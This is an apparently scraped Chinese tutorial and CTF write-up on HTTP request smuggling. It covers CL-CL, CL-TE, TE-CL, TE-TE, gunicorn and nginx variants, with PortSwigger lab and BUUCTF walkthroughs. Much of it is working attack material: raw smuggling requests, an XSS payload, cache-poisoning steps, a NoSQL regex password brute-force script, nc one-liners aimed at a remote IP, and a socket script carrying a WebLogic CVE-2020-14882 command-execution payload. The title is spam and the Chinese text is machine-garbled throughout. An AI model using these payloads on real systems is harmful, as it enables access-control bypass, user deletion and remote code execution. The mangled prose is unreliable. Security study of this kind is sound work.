macaginxphp启动技巧_HTTP Request Smuggling之初探

Content-Length指的是HTTP长度, 它利用十进制的数字表示了的长度, 做事器通过它来得知后续要读取消息的长度。
Content-Length首部指出报文中实体主体的字节大小. 这个大小是包含了所有内容编码的，比如，对文本文件进行了gzip压缩，那它的大小便是压缩后的大小而非之前的。

Keep-alive

这个的话便是在HTTP要求中增加一个分外的要求头Connection: Keep-Alive，其浸染是见告做事器接管完信息后，不要关闭TCP连接，后续对相同目标做事器的要求，一律采取这个TCP连接。

pipline

其含义是新建一个TCP链接，有这个之后，客户端无需等待做事真个相应，就可以发送多次要求，单说可能不太好理解，可以结合下面这个图来进行理解

Transfer-Encoding

它的含义是传输编码。
在最新的 HTTP 规范里，只定义了一种传输编码：分块编码（chunked）。
当利用分块编码的时候，报文中的实体须要改为用一系列分块来传输。
每个分块包含十六进制的长度值和数据，长度值独占一行，长度不包括它结尾的CRLF（\r\n），也不包括分块数据结尾的CRLF。
末了一个分块长度值必须为0，对应的分块数据没有内容，表示实体结束。

HTTP要求走私

下方示例的靶场均来自于portswig靶场，链接如下https://portswigger.net/web-security/all-labs

一些网站为了优化用户体验，提高访问速率，采取了CDN加速做事，而最大略的加速办法是在原站点加上一个具有缓存功能的反向代理做事器，这个时候用户可以直接从代理做事器处取得资源，图示如下(图片来源于https://paper.seebug.org/1048)

这个时候如果客户端传入一个恶意的要求数据，前端做事器（代理做事器）可能认为没问题，就传给了后端，而后端做事器（原站）在理解时，只认为一部分是正常要求，而另一部分要求便是走私的要求，他会对第二个要求造成影响，此时也就造成了HTTP走私攻击。

HTTP要求走私的危害有以下几个方面

1、它使攻击者可以绕过安全掌握访问到本该被禁止访问的界面，可能会导致信息透露2、在特定情形下可以布局XSS语句，对其他用户和网页端造成一定影响3、它可以实现未经授权访问敏感数据并直接危害其他运用程序用户。
4、在特定情形下可以盗取用户要求，获取到用户的cookie等敏感信息漏洞利用CL!=0

现有条件如下

代理做事器许可GET要求携带要求体，而原站不许可GET要求携带要求体

此时如果我们传入携带要求体的GET要求，就会涌现一种情形，便是此时它会直接忽略掉GET要求中的Content-Length头，不进行处理。
这就有可能导致要求走私。

我们布局要求如下

GET / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 44\r\nGET /secret HTTP/1.1\r\nHost: example.com\r\n\r\n

此时期理做事器收到要求，认为这个是正常的，传给后端做事器，而后端做事器不对这个Content-Length进行处理，此时由于存在pipline，他就会认为是两个单独的要求。
第一个

GET / HTTP/1.1\r\nHost: example.com\r\n

第二个

GET /secret HTTP/1.1\r\nHost: example.com\r\n

此时就涌现了要求走私。

按照RFC7230中的规定，当做事器遇见一个要求中包含两个Content-Length时，该当返回400缺点，但一些做事器可能不会严格实行该规范，此时就可能涌现要求走私。

假设现有场景如下

前端代理做事器和后端做事器在收到一个包含两个Content-Length的要求时，皆不返回400，且此时前端代理做事器采取的是第一个Content-Length，后端做事器采取的是第二个Content-Length

此时我们布局要求如下

POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 8\r\nContent-Length: 7\r\n12345\r\na

前端代理做事器：吸收的是Content-Length: 8\r\n，他检讨的时候，看的是六七行（第五行是POST传数据须要空一行，不打算其长度），12345+\n+a=8，此时恰好八个字符，以是他认为这个要求没有问题，传向后端做事器。

后端做事器：吸收的是Content-Length: 7\r\n，他检讨的时候，看的同样也是五六七行，此时由于涌现了8个字符，而他只吸收7个，以是a还勾留在缓冲区，后端做事器会认为他是下一个要求的一部分。

若此时有一个要求

GET /index.html HTTP/1.1\r\nHost: example.com\r\n

基于前端做事器和后端做事器是重用TCP连接的，此时a就会和要求相结合，组成一个新的要求

aGET /index.html HTTP/1.1\r\nHost: example.com\r\n

此时客户就会收到aGET request method not found的缺点回显，这就实现了一次要求走私攻击，并对正常客户造成了影响。

所指情形如下

前端采取的是Content-Length后端采取的是Transfer-Encoding

现有要求如下

POST / HTTP/1.1\r\nHost: example.com\r\nConnection: keep-alive\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\na

前端做事器:吸收的是Content-Length: 6\r\n，看代码的7-9行，0+\n+\n+a=6，此时前端认为没有问题，就会传向后端做事器(第六行是POST传数据须要空出一行，以是不打算其长度)

后端做事器:吸收的是Transfer-Encoding: chunked\r\n，他在处理第七行（结束标志）时，值是0，他会认为是吸收内容结束，此时其后的a还勾留在缓冲区。

若此时有一要求

POST / HTTP/1.1\r\nHost: example.com\r\n

与CL-CL相似，此时a会与这一要求相结合变成一个新的要求

aPOST / HTTP/1.1\r\nHost: example.com\r\n

此时客户端就会收到Unrecognized method aPOST的缺点回显信息，这个时候就造成了要求走私攻击。

靶场链接https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te打开环境后抓包

接下来右键修正要求方法为POST

然后添加我们添加恶意代码

Content-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG

此时第一次发包，回显正常，这是由于它是正常CL阶段，读取6个字符，0+\n+\n+a=6,以是回显正常，接下来再发一次包

此时由于TE读取到0就终止了，未读取G，G还在缓冲区，又来了一个要求，G就与这个要求相组合，变成了GPOST要求办法，此时就会报错，HTTP要求走私成功。

TE-CL

所指情形如下

前端代理做事器采取的是Transfer-Encoding后端做事器采取的是Content-Length

现有要求如下

POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n12\r\naPOST / HTTP/1.1\r\n\r\n0\r\n\r\n

前端做事器:吸收的是Transfer-Encoding: chunked\r\n，当读取到第九行（第五块）时，读取到0前端做事器认为吸收内容结束，没有什么问题，然后传给后端做事器

后端做事器:吸收的是Content-Length: 4\r\n，此时由于吸收长度限定为4，12+\n=4，以是它在读取完五六行后就不再读取。

此时后面还有一些代码，即

aPOST / HTTP/1.1\r\n\r\n0\r\n\r\n

此时再来一个要求，他就会报错，客户端收到Unrecognized method aPOST类似的缺点回显信息，要求走私攻击成功。

靶园地址如下https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

开启环境后抓包，抓包后修正要求办法

接下来添加我们的恶意代码

Content-Length: 4Transfer-Encoding: chunked\r\n12\r\nGPOST / HTTP/1.1\r\n0\r\n\r\n

第一次发包后回显正常，这个是由于TE在读取到0后休止，认为之前的数据也没什么问题，此时就会传入给后端做事器，后端做事器吸收4个长度，这里的话也便是12+\n=4,后面的由于存在pipline，以是会被认为是另一个独立的要求

此时再来一个新的要求，就会报错，要求走私攻击成功

TE-TE

所指情形如下

前端代理做事器和后端做事器所采取的都是Transfer-Encoding，但是在容错性上表现不同，例如当我们添加一个Transfer-encoding时，引起稠浊，此时可能个中一个做事器会不采取Transfer-Encoding,此时就会导致要求走私

现有要求如下

POST / HTTP/1.1\r\nHost: example.com\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\naPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n

前端代理做事器:吸收的是Transfer-Encoding: chunked\r\n,此时读取到末了0处，认为要求没有问题，将要求传输个后端做事器

后端做事器：此时由于存在Transfer-encoding和Transfer-Encoding，对做事器起到了稠浊浸染，做事器不知道该吸收哪个，此时可能会吸收Content-length: 4\r\n，然后检测第七行，5c+\n=4,认为结果没问题，然后不再读取(第六行不算长度，由于第六行是POST传数据须要空一行)

此时还剩下几行代码

aPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n

由于存在pipline，以是被认为是一个单独的要求，此时就会给客户端回显Unrecognized method aPOST缺点信息，要求走私攻击成功。

靶园地址如下https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header题目描述

本实验涉及前端和后端做事器，这两个做事器以不同的办法处理重复的 HTTP 要求标头。
前端做事器谢毫不利用 GET 或 POST 方法的要求。

题目哀求

办理实验室，偷偷向后端做事器发送一个要求，让后端做事器处理的下一个要求涌现利用方法GPOST。

进入靶场后抓包，修正要求方法为POST办法

发送到重放模块，接下来添加我们的恶意代码

Content-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\nGPOST / HTTP/1.1\r\n\r\nx=1\r\n0\r\n\r\n

此时第一个访问正常，这个时候解释前端代理做事器采取的是TE，正常吸收数据而后传送给后端做事器，而后端由于TE被稠浊，且有CL，以是采取了CL，而此时57+\n=4，所往后面的GPOST未进行读取，这个时候后面就会被当做单独要求来实行，当再一次要求时，就会将缺点返回出来，成功实行HTTP要求走私。

这里用一道靶场题目来对其进行大略讲解。

题目描述

本实验涉及前端和后端做事器，前端做事器不支持分块编码。
有一个管理面板/admin，但前端做事器阻挡访问它。

题目哀求

要办理实验室问题，请向访问管理面板并删除用户的后端做事器发送要求carlos。

进入靶场后,考试测验直接访问他的admin界面

创造此时存在防护，是不许可访问此界面的。
此时我们抓包，修正要求办法，接下来添加我们的恶意数据,考试测验利用要求走私去访问admin界面

Content-Length: 30\r\nTransfer-Encoding: chunked\r\n\r\n 0\r\n\r\nGET /admin HTTP 1.1\r\n\r\n\r\n

这里大略提一下他的CT长度打算

Content-Length: 30\r\nTransfer-Encoding: chunked\r\n\r\n //POST发包须要有一行换行，这个不作为长度打算0\r\n //0加上换行符\n，长度为3\r\n //只有一个换行符，长度为2GET /admin HTTP 1.1\r\n //前面字符为19，后面还有换行符，以是一共长度为19+2=21\r\n //只有一个换行符，长度为2\r\n //只有一个换行符，长度为2//以是CT长度便是3+2+21+2+2=30

此时还有一点，便是初始的Connection，是close，我们这里须要修正为keep-alive，这样才可以实现重用TCP链接，使得要求走私攻击成功

此时我们创造新的回显

Admin interface only available to local users

大概意思便是只有本地用户才可以登录，那我们就添加一个Host: 127.0.0.1来伪装一下本地用户

此时创造删除用户的接口，那我们就考试测验来布局一下

Connection: keep-aliveContent-Length: 70\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin/delete?username=carlos HTTP/1.1\r\nHost: localhost\r\n\r\n\r\n

要求走私攻击成功，成功删除了一个用户

单个的UA处的xss并没有什么危害，但当我们将它与要求走私相结合时，就可以导致其他用户访问任意界面涌现反射型xss，对客户端和网页有一定影响，接下来考试测验一下

所用靶场https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss题目描述

这个场景包含前端和后端做事器，并且前端做事器不支持Chunked-Encoding。
运用程序在User-Agent这个标头含有反射型XSS漏洞。

题目哀求

目标是让用户收到一个alert(1)的弹框。

进入靶场后抓包，看一下UA处，先发包，不雅观察一下他的包裹办法，既然题目提示这里存在XSS，那么我们就先不雅观察一下他是如何闭合的

可以创造结尾是">，若存在XSS，我们通过布局恶意语句该当是可以触发XSS的，我们先考试测验一下修正User-Agent，看是否能够触发xss

成功触发XSS，由于前端不支持chunked编码办法，那么我们这里就可以考试测验一下去布局CL-TE种类的要求走私，布局XSS，恶意代码如下

Content-Length: 154\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /post?postId=5 HTTP/1.1\r\nUser-Agent: a"/><script>alert(1)</script>\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 5\r\n\r\nx=1\r\n\r\n

第一次访问正常，接下来用户去访问界面

成功触发了XSS，这个过程是如何实现的呢前端代理做事器：吸收的是CL，然后检测内容没有什么问题，传输给后端做事器

后端做事器：吸收的是TE，吸收到0后停滞吸收，而下面的还没被吸收，被认为是另一个独立的要求，当此时有一个用户去访问界面时，这个要求就会发出，触发XSS

学习之前我们首先须要理解一下什么是Web缓存

WEB缓存便是指网站的静态文件，比如图片、CSS、JS等，在网站访问的时候，做事器会将这些文件缓存起来，以便下次访问时直接从缓存中读取，不须要再次要求做事器。

如上图所示，假设小紫小黄小绿都在做事器划分的同一批特定要求中，那么小紫一开始访问做事器时，经由缓存键X-Cache: Miss的剖断，是首次访问，以是直接连接到Server做事器，而其后的小黄、小绿再次访问相同的文件时就会被剖断为X-Cache: Hit，即只需连接Cache缓存做事器，不再连接到Server做事器，借此减少了Server做事器的运行负荷。

这个正常情形下的话无疑是很好的，但如果被黑客利用，这个就会造成一些不好的影响，比如第一个人改了一些包，发送到后端，导致后端返回一些恶意数据，xss这种等等，同时由于缓存机制，后续的其他用户访问此界面时会加载这个恶意缓存，此时就造成了Web缓存投毒。

接下来从题目中进行进一步理解。

题目描述

本实验涉及前端和后端做事器，前端做事器不支持分块编码。
前端做事器被配置为缓存某些相应。

题目哀求

为理解决实验室问题，请实行导致缓存中毒的要求走私攻击，以便随后对 JavaScript 文件的要求吸收到对漏洞利用做事器的重定向。
中毒的缓存该当发出警报document.cookie

（经本地测试，这里弹cookie只有弹窗，但无内容，可能是由于cookie过长，以是这里采取弹1来演示缓存投毒）进入环境后抓包，我们首先来验证一下是否存在要求走私漏洞，本题的描述是前端不支持分块编码，那这里的话该当便是CL-TE种类的要求走私漏洞，我们布局一个恶意代码试下能否实现要求走私

Content-Length: 135\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /post/next?postId=3 HTTP/1.1\r\nHost: quan9i.top\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 10\r\n\r\nx=1\r\n\r\n

第一次访问正常，再次访问

302，并跳转到了我们布局的URL中，解释存在CL-TE要求走私，接下来找一个利用点(在靶场中存在的js文件就可以)，然后我们布局一个恶意代码，让下一个要求指向一个xss语句，再将这个利用点发出，这个时候就可以触发我们的xss语句

在环境中我们创造了tracking.js这个文件，那么我们就可以让他重定向到xss语句，这样访问靶场的话就会触发，这个时候问题又来了，xss语句怎么搞呢，我们实在只须要让他定向到一个有恶意xss语句的界面就可以，这个时候我们瞥见靶场里供应了一个工具

我们修正途径为post，内容为alert(1)，这时候我们利用CL-TE要求走私就可以将下一要求指向这个POST路径，那结合刚刚的js文件，就可以触发xss

这个时候访问正常，接下来正常情形便是访问到我们布局的恶意xss了，此时我们get发包，将js语句发出去

成功重定向，可以看到这里指向的是我们布局的恶意xss语句，访问一下也可以看出来

此时去访问靶场，就可以触发xss，要求走私投毒成功

在复现漏洞之前，先简述一下其漏洞成因。

在文件/gunicorn/http/message.py中存在函数set_body_reader，这个函数通过要求头来确定要求正文的大小，如果存在要求头中存在Sec-Websocket-Key1，则指定这里的要求内容长度为8。
如果 gunicorn 位于代理后面并利用持久连接与其通信（HTTP 1.1 中的默认设置），就会造成这个要求走私漏洞。

现有如下要求发送到从Internet发送到Proxy处

GET / HTTP/1.1Host: example.comContent-Length: 48Sec-Websocket-Key1: xxxxxxxxxGET /other HTTP/1.1Host: example.com

Proxy代理代理看到Content-Length: 48，认为数据没有问题，然后将内容传输给后端gunicorn处，当要求到达gunicorn处时，他看到Sec-Websocket-Key1时，只会读取八个字符，也便是后面的xxxxxxxx，此时这部分代码还在缓冲区

GET /other HTTP/1.1Host: example.com

由于proxy代理和 gunicorn 利用 HTTP-keep-alive 通信，gunicorn 将连续通过与下一个要求相同的 TCP 连接读取这部分数据。
因此，这部分数据发生了要求走私（与CL-TE类要求走私漏洞类似）。

环境搭建的话，有师傅已经搭建好了，然后这里须要大略解释一下。

注：这个师傅搭建的9999端口是haproxy代理，5000端口是gunicorn业务实在也便是说，9999端口是前端代理做事器，5000端口是后端做事器（原站）

详细环境搭建代码如下

1、git clone https://github.com/cckuailong/gunicorn_request_smuggling2、cd gunicorn_request_smuggling3、docker-compose up --build

这个时候环境就搭建好了。

gunicorn正常的相应：

$ curl http://localhost:5000/INDEX$ curl http://localhost:5000/forbiddenFORBIDDEN$ curl http://localhost:5000/adminADMIN

haproxy代理正常的相应

$ curl http://localhost:9999/INDEX$ curl http://localhost:9999/forbiddenFORBIDDEN$ curl http://localhost:9999/adminFORBIDDEN

接下来我们考试测验一下通过要求走私访问gunicorn的admin文件

Poc如下

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 9999

可以看到成功访问到了禁止访问的admin界面并获取到了内容。
对这个Poc进行一下拆分，他是这个样子的

GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n

这个的话犹如我们上面所说，类似于CL-TE，gunicorn认为这是两个要求

GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\n\r\nxxxxxxxx

和

GET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n

这个时候就导致了要求走私漏洞，访问到了本该拦截的/admin要求

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。
攻击者可利用该漏洞读取未授权的Web页面。

漏洞的成因是Nginx1.17.7 及之前版本具有error_page 配置，它不该用 error_page 进行 302 重定向。
它仅利用error_page 利用命名位置，如

error_page 404 /404.php；

此时攻击者能够在 NGINX 由负载均衡器前真个环境中读取未经授权的网页，就造成了要求走私攻击。
这里可以参考Vow大师傅给出的存在漏洞的配置

server { listen 80; server_name localhost; error_page 401 http://example.org; location / { return 401; }}server { listen 80; server_name notlocalhost; location /_hidden/index.html { return 200 'This should be hidden!'; }}

此时我们布局如下要求

GET /a HTTP/1.1Host: localhostContent-Length: 56GET /_hidden/index.html HTTP/1.1Host: notlocalhost

做事器就会认为这是两个要求。

得到的回显如下

HTTP/1.1 302 Moved TemporarilyServer: nginx/1.17.6Date: Fri, 06 Dec 2019 18:23:33 GMTContent-Type: text/htmlContent-Length: 145Connection: keep-aliveLocation: http://example.org<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.17.6</center></body></html>HTTP/1.1 200 OKServer: nginx/1.17.6Date: Fri, 06 Dec 2019 18:23:33 GMTContent-Type: text/htmlContent-Length: 22Connection: keep-aliveThis should be hidden!

要求走私攻击成功。

Nginx<=1.18.0及之前版本中存在安全漏洞。
攻击者可利用该漏洞进行缓存投毒，挟制凭据或绕过安全保护。

漏洞简述他这里存在CL!=0要求走私漏洞，我们布局恶意代码可同时发送两个要求并收到回显，我们布局要求如下

GET /test.html HTTP/1.1Host: localhostContent-Length: 2GET /poc.html HTTP/1.1Host: localhostContent-Length: 15

注:test.html中的内容为< html>< h1>Test Page!< /h1>< /html>poc.html中的内容为NGINX PoC File

要求走私成功，成功访问到了poc.html

靶机地址https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc访问界面创造是一个打算器，输入数字和字符可以打算出结果

看眼源代码

创造一个文件，访问一下

创造这里ban了一些字符，但经由测试实在还ban了所有字母这些（属于是前端WAF），那么想要绕过的话这里就可以考试测验HTTP要求走私，当我们布局要求走私，让前端报错的时候，这时候就可以直接绕过前真个waf，现在考试测验一下CL-CL种类绕过。

抓包，修正要求方法为POST方法再添加一个Content-Length头，使得前端报错，同时认为这是两个要求，图示如下

而后我们在disable_functions中看到很多函数都被禁用了

那么我们这里就用一些其他命令实行的函数来进行绕过读取文件目录用scandir读取根目录，虽然不能直接读取.，但是我们这里可以用chr()函数+ascii码值来进行绕过，布局payload

num=var_dump(scandir(chr(47)))

接下来用show_source读取根目录的flagg文件

num=show_source((chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

然后这个的话是一种方法，我们也可以利用CL-TE办法让前端报错，进而绕过WAF实现RCE，图示如下

TE-TE亦可

[GKCTF 2021]hackme

题目地址如下https://buuoj.cn/challenges#[GKCTF%202021]hackme题目提示如下

1、你可能须要unicode2、把稳server和其配置文件

进入环境后创造是登录框，先不急着去考试测验注入，看看源代码有没有什么提示

提示nosql，解释这里很大可能是nosql注入，师傅们如果想理解nosql可以大略参考下这篇文章https://blog.szfszf.top/tech/nosql抓包创造这里是json格式

我们用永真式考试测验绕过

{"username":{"$ne":1},"password":{"$ne":1}}

被检测出来了，想起来提示中说unicode编码，我们这里考试测验编码一下看是否能绕过

这里的话就创造了两种状态即

{"msg":"登录失落败"}{"msg":"登录了，但没完备登录"}

因此这里可以借助regexp盲注来获取精确密码，脚本如下所示

import requestsimport stringpassword = ''url = 'http://node4.buuoj.cn:29402/login.php'#盲注当知道了用户名后就可以用正则$regex来爆破密码while True: for c in string.printable: if c not in ['', '+', '.', '?', '|', '#', '&', '$']: # When the method is GET get_payload = '?username=admin&password[$regex]=^%s' % (password + c) # When the method is POST post_payload = { "username": "admin", "password[$regex]": '^' + password + c } # When the method is POST with JSON json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c) headers = {'Content-Type': 'application/json'} r = requests.post(url=url, headers=headers, data=json_payload) # 大略发送 json #r = requests.post(url=url, data=post_payload) if '但没完备登录' in r.content.decode(): password += c print(password)

终极得到精确密码42276606202db06ad1f29ab6b4a1307f登录

创造一个读取文件的文件框，抓包考试测验一下任意文件读取

考试测验读取flag

提示flag在内网，此时想到题目的提示把稳server和其配置文件，查看一下info.php看是否有可利用信息

看到利用的是nginx，接下来查看nginx配置文件/usr/local/nginx/conf/nginx.conf

创造存在weblogic做事

同时我们创造nginx的版本号是1.17.6，Nginx 1.17.7之前版本中 error_page可能存在安全漏洞，我们可以借此来查看weblogic版本号，布局要求如下

GET /a HTTP/1.1Host: node4.buuoj.cn:28946Content-Length: 66GET /console/login/LoginForm.jsp HTTP/1.1Host: weblogic

这里我用bp打并未得到精确回显，但是我看到一位大师傅用socket脚本打出来了，脚本如下

import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sSocket.connect(("node4.buuoj.cn", 28946))payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'sSocket.send(payload)sSocket.settimeout(2)response = sSocket.recv(2147483647)while len(response) > 0: print(response.decode()) try: response = sSocket.recv(2147483647) except: breaksSocket.close()

得到weblogic版本号12.2.1.4.0，而这个版本存在漏洞(CVE-2020-14882)，借此漏洞即可获取flag，这里借用一位大师傅的socket脚本

import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sSocket.connect(("node4.buuoj.cn", 28946))payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'sSocket.send(payload)sSocket.settimeout(2)response = sSocket.recv(2147483647)while len(response) > 0: print(response.decode()) try: response = sSocket.recv(2147483647) except: breaksSocket.close()

脚本运行完即可获取flag，而这个是预期解，针对这题还有另一个解法，可以参考这位大师傅的这篇文章https://laotun.top/2021/09/27/gkctf

提示框给了提示是Try flag，访问flag后回显

访问此界面

回显403，做事器发送要求看一下

创造做事是gunicorn 20.0.4，这个是存在要求走私漏洞的，因此我们这里就可以布局要求去访问本被禁止访问的fl4g文件布局要求如下

echo -en "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

对此部分进行拆分，便是

POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nnSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n

此时后端做事器就会认为这是两个要求，即

POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nnSec-Websocket-Key1: x\r\n\r\nxxxxxxxx

和

POST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n

按理说就可以访问到f14g，但此时回显须要本地访问，因此我们添加secr3t_ip:127.0.0.1\r\n，假造本地ip

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

要求拆分后如下

GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n

成功获取到flag

创造还有两道很故意思的要求走私题，那便是Bytectf2021 A-ginx1/2，但是这个题涉及了多个知识点，我是个菜狗，目前还在学习中，故暂时不能作为CTF例题讲解，师傅们如果有兴趣的话可以看这两篇文章，大师傅们都很厉害，写的也非常好。
https://tttang.com/archive/1396/https://impakho.com/post/bytectf-2021-aginx-writeup

末了，本人只是一个小白，在学习要求走私过程中也可能会涌现问题，同时Nginx的要求走私漏洞在学习中并没有复现出来，我参考了其他大师傅的文章后进行了大略总结，没有自己进行测试，以是这个也可能涌现问题，还请各位大师傅多多指教。

https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.htmlhttps://paper.seebug.org/1048/#52https://v0w.top/2020/12/20/HTTPsmugglinghttps://xz.aliyun.com/t/7501#toc-10https://xz.aliyun.com/t/6654#toc-6https://xz.aliyun.com/t/11423#toc-5https://www.4hou.com/posts/JXK2https://xz.aliyun.com/t/11728#toc-17https://xz.aliyun.com/t/6631#toc-5https://www.anquanke.com/post/id/246516#h3-30https://www.anquanke.com/post/id/210036#h3-11https://forum.butian.net/share/1876https://juejin.cn/post/6997215152533667876https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/#golanghttps://blog.fundebug.com/2019/09/10/understand-http-content-length/https://www.yiyayiyawu.cn/archives/httphttps://www.freebuf.com/articles/web/334057.htmlhttp://1.116.103.114/hole/CVE-2020-12440

from ->https://tttang.com/archive/1808/